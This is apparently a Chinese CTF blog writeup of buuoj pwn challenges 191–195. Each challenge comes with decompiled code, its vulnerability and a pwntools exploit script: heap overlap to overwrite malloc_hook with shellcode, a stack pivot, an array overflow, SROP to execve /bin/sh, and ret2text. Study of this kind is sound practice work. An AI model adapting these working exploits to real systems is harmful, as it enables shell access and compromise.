buuoj Pwn writeup 191-195

原创

yongbaoii 于 2021-06-12 18:10:57 发布 149 收藏

分类专栏： CTF 文章标签： 安全

191 huxiangbei_2019_hacknote

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE        No RPATH   No RUNPATH   No Symbols     No     0               0            ./191
```

又是他娘的静态连接去符号表。
但是好的是保护啥也没开。

add

```
      v9 = i;
      sub_40FE90((unsigned int)"You Get Index : %d\n", i, v6, a4, a5, a6);
      break;
    }
  }
  if ( v9 == -1 )
  {
    sub_4106C0("List Full !");
    result = 0LL;
  }
  else
  {
    sub_4106C0("Input the Size:");
    v8 = sub_400AD7();
    *(_QWORD *)(8LL * v9 + a1) = sub_41EA20((int)v8);
    if ( *(_QWORD *)(8LL * v9 + a1) )
    {
      *(_QWORD *)(a1 + 8 * (v9 + 16LL)) = (int)v8;
      sub_4106C0("Input the Note:");
      sub_400A52(*(_QWORD *)(8LL * v9 + a1), v8);
      sub_4106C0("Add Done!");
    }
    else
    {
      sub_4106C0("Allocation Failed !");
    }
    result = 0LL;
  }
  return result;
}
```


结构正常

delete

```
{
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  sub_4106C0("Input the Index of Note:");
  v2 = sub_400AD7();
  if ( (unsigned __int8)sub_400B04(v2, a1) != 1 )
  {
    sub_4106C0("Invaild !!");
  }
  else
  {
    *(_QWORD *)(8 * ((int)v2 + 16LL) + a1) = 0LL;
    sub_41EDC0(*(_QWORD *)(8LL * (int)v2 + a1));
    *(_QWORD *)(8LL * (int)v2 + a1) = 0LL;
    sub_4106C0("Delete Done!");
  }
  return 0LL;
}
```


清理的也是比较干净的。

edit

```
__int64 __fastcall sub_400D4A(__int64 a1)
{
  unsigned int v2; // [rsp+1Ch] [rbp-4h]

  sub_4106C0("Input the Index of Note:");
  v2 = sub_400AD7();
  if ( (unsigned __int8)sub_400B04(v2, a1) != 1 )
  {
    sub_4106C0("Invaild !!");
  }
  else
  {
    sub_4106C0("Input the Note:");
    sub_400A52(*(_QWORD *)(8LL * (int)v2 + a1), (unsigned int)*(_QWORD *)(8 * ((int)v2 + 16LL) + a1));
    *(_QWORD *)(a1 + 8 * ((int)v2 + 16LL)) = (int)sub_424660(*(_QWORD *)(8LL * (int)v2 + a1));
    sub_4106C0("Edit Done!");
  }
  return 0LL;
}
```


跟中关村一个漏洞。

因为不像之前的地址啥的在bss上，所以我们这个题不能unlink，我们overlap，然后就会跟上个题差不多了。

```python
from pwn import *

r = remote("node3.buuoj.cn", 26922)
context.log_level = "debug"
context.arch = "amd64"

elf = ELF("./191")
libc = ELF('./64/libc-2.23.so')

bss_addr = 0x6CCB60
malloc_hook = 0x6CB788
main_arene = 0x6CB800
shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

menu = "-----------------\n"
def add(size, content):
 r.recvuntil(menu)
 r.sendline('1')
 r.recvuntil("Input the Size:\n")
 r.sendline(str(size))
 r.recvuntil("Input the Note:\n")
 r.send(content)

def delete(index):
 r.recvuntil(menu)
 r.sendline('2')
 r.recvuntil("Input the Index of Note:\n")
 r.sendline(str(index))


def edit(index, content):
 r.recvuntil(menu)
 r.sendline('3')
 r.recvuntil("Input the Index of Note:\n")
 r.sendline(str(index))
 r.recvuntil("Input the Note:\n")
 r.send(content)

add(0x18, 'chunk0\n')
add(0x18, 'chunk1\n')
add(0x38, 'chunk2\n')
add(0x20, 'chunk3\n')
edit(0, 'a'*0x18)
edit(0, 'a'*0x18+'\x61')
delete(2)
delete(1)
payload = 'a'*0x18 + p64(0x41) + p64(malloc_hook-0x10-6) + '\n'
add(0x58, payload)#1
add(0x38, p64(malloc_hook-6) + '\n')#2
payload = 'a'*6 + p64(malloc_hook+8) + shellcode +'\n'
add(0x38, payload)
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Input the Size:\n")
r.sendline('10')

r.interactive()
```

192 pwnable_simple_login

```
RELRO           STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   Canary found      NX enabled   No PIE        No RPATH   No RUNPATH   2918 Symbols  Yes     12             65           ./192
```

Base64Decode函数实现对输入内容进行base64解码，auth函数会生成解码内容的md5哈希值，并且与程序中保存的hash值对比。

有四个字节的溢出，思路是将EBP覆盖成引导ESP指向包含SHELL地址的内存。进一步在ret时控制eip跳转。其实说白了是一个栈迁移。利用的是内外两个函数的leave | ret。

```
from pwn import *

r = remote('node3.buuoj.cn', 25953)

input_addr = 0x0811EB40
correct_addr = 0x08049284

r.recvuntil(":")
payload = 'a' * 4 + p32(correct_addr) + p32(input_addr)
r.send(payload.encode('base64'))

r.interactive()
```

193 mrctf2020_spfa

```
RELRO           STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Full RELRO      Canary found      NX enabled   PIE enabled   No RPATH   No RUNPATH   86 Symbols    Yes     0              4            ./193
```

```
puts("Menu:");
puts("1. add edge");
puts("2. find path");
puts("3. get flag");
puts("4. exit:");
```

进来之后有个小菜单。

说半天总体来讲是spfa，也就是

> SPFA 算法是 Bellman-Ford算法 的队列优化算法的别称，通常用于求含负权边的单源最短路径，以及判负权环。SPFA 最坏情况下复杂度和朴素 Bellman-Ford 相同，为 O(VE)。

目的是试图修改flag为别的数字。

```
        s[v7] = len[i] + s[v6];
        if ( !v9[v7] )
        {
          v9[v7] = 1;
          qu[v4++] = v7;
          if ( v4 > 1000 )
          {
            puts("queue overflow error!");
            return __readfsqword(0x28u) ^ v10;
          }
        }
      }
    }
```


问题在这里，就是很基础的数组越界。当编辑q[1000]的时候就会修改flag。

所以我们只要构造一个0环就可以解决问题。

194 360chunqiu2017_smallest

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE        No RPATH   No RUNPATH   No Symbols     No     0               0            ./194
```

```
t:00000000004000B0
t:00000000004000B0
t:00000000004000B0                public start
t:00000000004000B0 start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
t:00000000004000B0                xor     rax, rax
t:00000000004000B3                mov     edx, 400h       ; count
t:00000000004000B8                mov     rsi, rsp        ; buf
t:00000000004000BB                mov     rdi, rax        ; fd
t:00000000004000BE                syscall                 ; LINUX - sys_read
t:00000000004000C0                retn
t:00000000004000C0 start          endp
t:00000000004000C0
t:00000000004000C0 _text          ends
t:00000000004000C0
t:00000000004000C0
t:00000000004000C0                end start
```


真的短到就一个read的汇编。

思路是啥呢？其实我们发现溢出还是比较大的，又有syscall，我们考虑srop了。
跟我们以前见过的srop不大一样，以前的srop都是说通过能控制rax为15的gadgets，来达到srop的一个效果，但是这里想的是通过read的返回值，它会把返回值默认返回到rax中，从而控制rax，来达到任意系统调用，可以泄露栈地址，用来我们写rop，然后调用signal，进行srop。

两次用模板还做了个栈迁移的目的只不过是为了写入bin_sh字符串。

```python
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
context.arch = "amd64"

#r = remote('node3.buuoj.cn',27325)
r = process("./194")

syscall = 0x4000be
read = 0x4000b0
payload = p64(read) * 3
r.send(payload)

r.send('\xb3')

leak = u64(r.recv()[0x148:0x150])
print "leak = " + hex(leak)

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = leak
frame.rdx = 0x400
frame.rsp = leak
frame.rip = syscall

payload2 = p64(read)+ p64(0xdeadbeef)+str(frame)
r.send(payload2)

sigreturn = p64(syscall) + 'b'*7 #从这个地方开始srop部分
r.send(sigreturn)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = leak + 0x120
frame.rsi = 0
frame.rdx = 0
frame.rsp = leak
frame.rip = syscall

payload3 = p64(read) + 'a'*8 + str(frame)
payload3 = payload3.ljust(0x120,'\x00') + '/bin/sh\x00'

r.send(payload3)
r.send(sigreturn)

r.interactive()
```

隔一段时间总会碰到buu环境有问题的题，这个本地随便打，远程就是通不了。网上的其他师傅也说打不通。

195 watevr_2019_voting_machine_1

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE        No RPATH   No RUNPATH   74 Symbols    No      0              4            ./195
```

```
  puts("the voting range is 0 to 10. 0 being
  puts("Thanks!");
  printf("Vote: ");
  fflush(_bss_start);
  gets((__int64)v4);
  puts("Thanks for voting!");
  return 0;
}
```



```
void __noreturn super_secret_function()
{
  FILE *stream; // [rsp+0h] [rbp-10h]
  char i; // [rsp+Fh] [rbp-1h]

  stream = fopen("/home/ctf/flag.txt", "r");
  if ( !stream )
  {
    puts("Cannot open flag.txt");
    exit(1);
  }
  for ( i = fgetc(stream); i != -1; i = fgetc(stream) )
    putchar(i);
  fclose(stream);
  exit(0);
}
```


这不是最最最简单的……

ret2text嘛？？？

这……93分？

```
from pwn import *

r = remote('node3.buuoj.cn', 29842)

backdoor = 0x400807

payload = 'a' * 10 + p64(backdoor)
r.sendlineafter("Vote: ", payload)

r.interactive()
```